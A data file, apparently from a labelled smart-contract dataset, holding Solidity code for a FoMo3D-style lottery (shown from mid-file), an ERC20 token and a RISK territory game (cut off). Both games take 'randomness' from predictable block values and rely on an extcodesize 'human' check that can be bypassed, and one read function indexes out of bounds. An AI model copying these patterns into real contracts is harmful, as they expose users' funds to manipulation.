_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2100000000000000000)
{
uint256 _availableLimit = (2100000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 0;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin);
require(activated_ == false);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,790 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
require(_to != address(0));
require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract DMC is StandardToken {
string public constant name = "Digital Marketing Coin";
string public constant symbol = "DMC";
uint8 public constant decimals = 18;
function DMC() public {
totalSupply = 9900000000000000000000000000;
balances[msg.sender] = totalSupply;
}
} | 1 | 2,490 |
pragma solidity ^0.4.25;
contract RISK{
uint16[19][3232] private adjacencies;
address private admin = msg.sender;
uint256 private seed = block.timestamp;
uint256 public roundID;
mapping(uint256=>RoundData) public Rounds;
bool public isactive;
mapping(address=>uint256) private playerlastroundwithdrawn;
uint16 public beginterritories = 5;
uint16 public maxroll= 6;
uint256 public trucetime=72 hours;
uint256 public price=30 finney;
uint256 public maxextensiontruce=50;
mapping(bytes32=>address) public ownerXname;
mapping(address=>bytes32) public nameXaddress;
mapping(bytes32=>uint256) public priceXname;
function createnation(uint16[] territories,string _name,
uint256 RGB)
public
payable
{
RequireHuman();
require(isactive);
uint256 _rID = roundID;
uint16 _teamcnt =Rounds[_rID].teamcnt;
require(_teamcnt<255);
RGB=colorfilter(RGB);
require(!Rounds[_rID].iscolorregistered[RGB]);
bytes32 name=nameFilter(_name);
require(ownerXname[name]==msg.sender);
require(Rounds[_rID].isnameregistered[name]==false);
uint16 _beginterritories = Rounds[roundID].beginterritories;
require(msg.value==Rounds[_rID].price);
require(territories.length==_beginterritories);
require(Rounds[_rID].teamXaddr[msg.sender]==0);
uint i;
for (i =0 ; i<territories.length;i++){
require(territories[i]<uint16(2750));
require(getownership(territories[i])==uint16(0));
}
_teamcnt+=1;
setownership(territories[0],_teamcnt);
for (i =1 ; i<territories.length;i++){
require(hasteamadjacency(territories[i],_teamcnt));
setownership(territories[i],_teamcnt);
}
Rounds[_rID].validrollsXaddr[msg.sender]+=_beginterritories;
Rounds[_rID].validrollsXteam[_teamcnt]+=_beginterritories;
Rounds[_rID].teamXaddr[msg.sender]=_teamcnt;
Rounds[_rID].nationnameXteam[_teamcnt]=name;
Rounds[_rID].colorXteam[_teamcnt]=RGB;
Rounds[_rID].iscolorregistered[RGB]=true;
Rounds[_rID].teamcnt=_teamcnt;
Rounds[_rID].isnameregistered[name]=true;
Rounds[_rID].pot+=msg.value;
emit oncreatenation(
nameXaddress[msg.sender],
name,
RGB,
_teamcnt,
territories,
msg.sender);
}
function roll(uint16[] territories,uint16 team)
payable
public
{
RequireHuman();
require(isactive);
require(team!=0);
uint256 _rID = roundID;
uint256 _now = block.timestamp;
uint256 _roundstart = Rounds[_rID].roundstart;
uint256 _trucetime = Rounds[_rID].trucetime;
if (Rounds[_rID].teamXaddr[msg.sender]==0){
Rounds[_rID].teamXaddr[msg.sender]=team;
}
else{
require(Rounds[_rID].teamXaddr[msg.sender]==team);
}
require(msg.value==Rounds[_rID].price );
uint16 _maxroll = Rounds[_rID].maxroll;
seed = uint256(keccak256(abi.encodePacked((seed^block.timestamp))));
uint256 rolled = (seed % _maxroll)+1;
uint256 validrolls=0;
uint16[] memory territoriesconquered = new uint16[](_maxroll);
if (_roundstart+_trucetime<_now){
for (uint i = 0 ; i<territories.length;i++){
if (getownership(territories[i])==team){
continue;
}
if (hasteamadjacency(territories[i],team)){
territoriesconquered[validrolls]=territories[i];
setownership(territories[i],team);
validrolls+=1;
if (validrolls==rolled){
break;
}
}
}
}
else{
require(Rounds[_rID].validrollsXteam[team]<Rounds[_rID].maxextensiontruce);
for (i = 0 ; i<territories.length;i++){
if (getownership(territories[i])!=0){
continue;
}
if (hasteamadjacency(territories[i],team)){
territoriesconquered[validrolls]=territories[i];
setownership(territories[i],team);
validrolls+=1;
if (validrolls==rolled){
break;
}
}
}
}
Rounds[_rID].validrollsXaddr[msg.sender]+=validrolls;
Rounds[_rID].validrollsXteam[team]+=validrolls;
uint256 refund;
if (validrolls<rolled){
refund = ((rolled-validrolls)*msg.value)/rolled;
}
Rounds[_rID].pot+=msg.value-refund;
if (refund>0){
msg.sender.transfer(refund);
}
emit onroll(
nameXaddress[msg.sender],
Rounds[_rID].nationnameXteam[team],
rolled,
team,
territoriesconquered,
msg.sender
);
}
function endround()
public
{
RequireHuman();
require(isactive);
uint256 _rID = roundID;
require(Rounds[_rID].teamcnt>0);
uint256 _pot = Rounds[_rID].pot;
uint256 fee =_pot/20;
uint256 nextpot = _pot/20;
uint256 finalpot = _pot-fee-nextpot;
uint256 _roundstart=Rounds[_rID].roundstart;
uint256 _now=block.timestamp;
require(_roundstart+Rounds[_rID].trucetime<_now);
uint256[] memory _owners_ = new uint256[](86);
for (uint16 i = 0;i<86;i++){
_owners_[i]=Rounds[_rID].owners[i];
}
uint16 t;
uint16 team;
uint16 j;
for ( i = 1; i<uint16(2750);i++){
t=getownership2(i,_owners_[i/32]);
if (t!=uint16(0)){
team=t;
j=i+1;
break;
}
}
for ( i = j; i<uint16(2750);i++){
t=getownership2(i,_owners_[i/32]);
if(t>0){
if(t!=team){
require(false);
}
}
}
Rounds[_rID].teampotshare[team]=finalpot;
Rounds[_rID].winner=Rounds[_rID].nationnameXteam[team];
admin.transfer(fee);
_rID+=1;
Rounds[_rID].trucetime =trucetime;
Rounds[_rID].roundstart =block.timestamp;
Rounds[_rID].beginterritories =beginterritories;
Rounds[_rID].maxroll = maxroll;
Rounds[_rID].pot = nextpot;
Rounds[_rID].price = price;
Rounds[_rID].maxextensiontruce = maxextensiontruce;
roundID=_rID;
emit onendround();
}
function withdraw()
public
{
RequireHuman();
uint256 balance;
uint256 _roundID=roundID;
balance=getbalance(_roundID);
playerlastroundwithdrawn[msg.sender]=_roundID-1;
if (balance>0){
msg.sender.transfer(balance);
}
}
function buyname( string _name)
public
payable
{
RequireHuman();
bytes32 name=nameFilter(_name);
address prevowner=ownerXname[name];
require(prevowner!=msg.sender);
uint256 buyprice = 3*priceXname[name]/2;
if (3 finney > buyprice){
buyprice = 3 finney;
}
require(msg.value>=buyprice);
uint256 fee;
uint256 topot;
uint256 reimbursement;
if (prevowner==address(0)){
Rounds[roundID].pot+=msg.value ;
}
else{
fee = buyprice/20;
topot = msg.value-buyprice;
reimbursement=buyprice-fee;
if (topot>0){
Rounds[roundID].pot+=topot;
}
}
nameXaddress[prevowner]='';
ownerXname[name]=msg.sender;
priceXname[name]=msg.value;
bytes32 prevname = nameXaddress[msg.sender];
nameXaddress[msg.sender]=name;
emit onbuyname(
name,
msg.value,
prevname,
msg.sender
);
if (fee>0){
admin.transfer(fee);
}
if (reimbursement>0){
prevowner.transfer(reimbursement);
}
}
function switchname(bytes32 name)
public
{
require(ownerXname[name]==msg.sender);
nameXaddress[msg.sender]=name;
}
function clearname()
public
{
bytes32 empty;
nameXaddress[msg.sender]=empty;
}
function getownership(uint16 terr)
private
view
returns(uint16)
{
return(uint16((Rounds[roundID].owners[terr/32]&(255*2**(8*(uint256(terr%32)))))/(2**(uint256(terr)%32*8))));
}
function getownership2(uint16 terr,uint256 ownuint)
private
pure
returns(uint16)
{
return(uint16((ownuint&255*2**(8*(uint256(terr)%32)))/(2**(uint256(terr)%32*8))));
}
function setownership(uint16 terr, uint16 team)
private
{
Rounds[roundID].owners[terr/32]=(Rounds[roundID].owners[terr/32]&(115792089237316195423570985008687907853269984665640564039457584007913129639935-(255*(2**(8*(uint256(terr)%32))))))|(uint256(team)*2**((uint256(terr)%32)*8));
}
function areadjacent(uint16 terr1, uint16 terr2)
private
view
returns(bool)
{
for (uint i=0;i<19;i++){
if (adjacencies[terr1][i]==terr2){
return true;
}
if (adjacencies[terr1][i]==0){
return false;
}
}
return false;
}
function hasteamadjacency(uint16 terr,uint16 team)
private
view
returns(bool)
{
for (uint i = 0; i<adjacencies[terr].length;i++){
if (getownership(adjacencies[terr][i])==team){
return true;
}
}
return false;
}
function RequireHuman()
private
view
{
uint256 size;
address addr = msg.sender;
assembly {size := extcodesize(addr)}
require(size == 0 );
}
function colorfilter(uint256 RGB)
public
pure
returns(uint256)
{
RGB=RGB&14737632;
require(RGB!=12632256);
require(RGB!=14704640);
require(RGB!=14729344);
require(RGB!=8421504);
require(RGB!=224);
require(RGB!=8404992);
return(RGB);
}
function getbalance(uint rID)
public
view
returns(uint256)
{
uint16 team;
uint256 balance;
for (uint i = playerlastroundwithdrawn[msg.sender]+1;i<rID;i++){
if (Rounds[i].validrollsXaddr[msg.sender]==0){
continue;
}
team=Rounds[i].teamXaddr[msg.sender];
balance += (Rounds[i].teampotshare[team]*Rounds[i].validrollsXaddr[msg.sender])/Rounds[i].validrollsXteam[team];
}
return balance;
}
function nameFilter(string _input)
public
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 64 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
for (uint256 i = 0; i < _length; i++)
{
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b)
);
if (_temp[i] == 0x20){
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
}
}
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
function readowners()
view
public
returns(uint256[101])
{
return(Rounds[roundID].owners);
}
function readownerXname(string name)
view
public
returns(address)
{
return(ownerXname[nameFilter(name)]);
}
function readisnameregistered(string name)
view
public
returns(bool)
{
return(Rounds[roundID].isnameregistered[nameFilter(name)]);
}
function readnameXaddress(address addr)
view
public
returns(bytes32)
{
return(nameXaddress[addr]);
}
function readpriceXname(string name)
view
public
returns(uint256)
{
return(priceXname[nameFilter(name)]*3/2);
}
function readteamXaddr(address adr)
view
public
returns(uint16){
return(Rounds[roundID].teamXaddr[adr]);
}
function readvalidrollsXteam(uint16 tim)
view
public
returns(uint256){
return(Rounds[roundID].validrollsXteam[tim]);
}
function readvalidrollsXaddr(address adr)
view
public
returns(uint256){
return(Rounds[roundID].validrollsXaddr[adr]);
}
function readnationnameXteam()
view
public
returns(bytes32[256]){
bytes32[256] memory temp;
for (uint16 i = 0; i<256; i++){
temp[i]=Rounds[roundID].nationnameXteam[i];
}
return(temp);
}
function readcolorXteam()
view
public
returns(uint256[256]){
uint256[256] memory temp;
for (uint16 i = 0; i<256; i++){
temp[i]=Rounds[roundID].colorXteam[i];
}
return(temp);
}
function readiscolorregistered(uint256 rgb)
view
public
returns(bool){
return(Rounds[roundID].iscolorregistered[colorfilter(rgb)]);
}
function readhistoricalrounds()
view
public
returns(bytes32[]){
bytes32[] memory asdfg=new bytes32[](2*roundID-2);
for (uint256 i = 1;i<roundID;i++){
asdfg[2*i]=Rounds[roundID].winner;
asdfg[2*i+1]=bytes32(Rounds[roundID].pot);
}
return asdfg;
}
function addadjacencies(uint16[] indexes,uint16[] numvals,uint16[] adjs)
public
{
require(msg.sender==admin);
require(!isactive);
uint cnt=0;
for (uint i = 0; i<indexes.length;i++){
for (uint j = 0;j<numvals[i];j++){
adjacencies[indexes[i]][j]=adjs[cnt];
cnt++;
}
}
}
function finishedloading()
public
{
require(msg.sender==admin);
require(!isactive);
isactive=true;
roundID=1;
uint256 _rID=roundID;
Rounds[_rID].roundstart =block.timestamp;
Rounds[_rID].beginterritories =beginterritories;
Rounds[_rID].maxroll = maxroll;
Rounds[_rID].trucetime = trucetime;
Rounds[_rID].price = price;
Rounds[_rID].maxextensiontruce = maxextensiontruce;
}
